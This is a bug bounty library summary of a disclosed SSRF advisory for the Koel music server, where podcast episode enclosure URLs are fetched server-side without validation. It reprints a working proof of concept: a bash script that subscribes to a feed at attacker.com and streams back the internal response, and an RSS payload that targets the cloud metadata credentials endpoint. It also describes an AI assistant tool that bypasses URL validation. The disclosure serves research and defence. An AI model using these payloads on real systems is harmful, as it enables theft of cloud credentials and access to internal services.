# Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs

Koel validated podcast feed URLs but not episode enclosure URLs, letting an attacker store an internal URL and read full SSRF responses via playback.

- Payout: Research
- Severity: high
- Program: Koel
- Found by: EndlssNightmare
- Disclosed: 2026-05-29
- CVE: CVE-2026-47260
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-7j2f-6h2r-6cqc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-7j2f-6h2r-6cqc
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:php technique:chained technique:source-review vuln:ssrf

**Target:** Podcast subscription/playback endpoints and AI radio station tool
**Root cause:** SafeUrl validation is applied only to the podcast feed URL at subscription time; episode <enclosure url> values parsed from RSS XML are stored unvalidated and later fetched server-side via Http::sink()->get().
**Steps:**
1. Host an RSS feed on a public server with `<enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/>`
2. `POST /api/podcasts` with `{"url": "https://attacker.com/feed.xml"}` — passes SafeUrl since feed host is public
3. Koel parses feed and stores episode `path` as the internal metadata URL
4. Retrieve episode ID via `GET /api/podcasts`
5. `GET /play/$EPISODE_ID?api_token=$API_TOKEN` triggers `Http::sink($file)->get($episode->path)` and streams the internal response back
**How found:** Code review noting SafeUrl is applied in SubscribeToPodcastRequest but PodcastService.php line 146 stores `$episodeValue->enclosure->url` raw; tracing playback to EpisodePlayable line 42's Http::sink()->get() confirmed the unvalidated fetch.
**Exploitation:** Attacker needs only a registered account (Community edition). The streamer first tries OPTIONS/HEAD for CORS; internal services lack CORS headers so it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body to disk and streams it to the attacker — full-read SSRF yielding cloud metadata credentials and internal service data.
**Escalation:** Secondary path: AI assistant AddRadioStation tool calls RadioService::createRadioStation() directly, bypassing SafeUrl and HasAudioContentType (requires Plus license).
**Insight:** When a feed/import feature validates the container URL, check every URL nested inside the fetched content (enclosures, media, redirects) — validation at ingestion rarely propagates to parsed child URLs, and playback/download sinks are where the fetch actually happens.

## Proof of concept (copied exactly from the original report)

**PoC bash script subscribing and playing episode**

```
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast

KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"

# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"url": "https://attacker.com/feed.xml"}'

# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
  -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')

# Play the episode — triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin

cat response.bin
# Expected: AWS metadata / internal service response
```

**Malicious RSS feed with metadata enclosure URL**

```
<rss version="2.0">
     <channel>
       <title>Legit Podcast</title>
       <item>
         <title>Episode 1</title>
         <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
                    type="audio/mpeg" length="1000"/>
         <guid>ssrf-1</guid>
       </item>
     </channel>
   </rss>
```

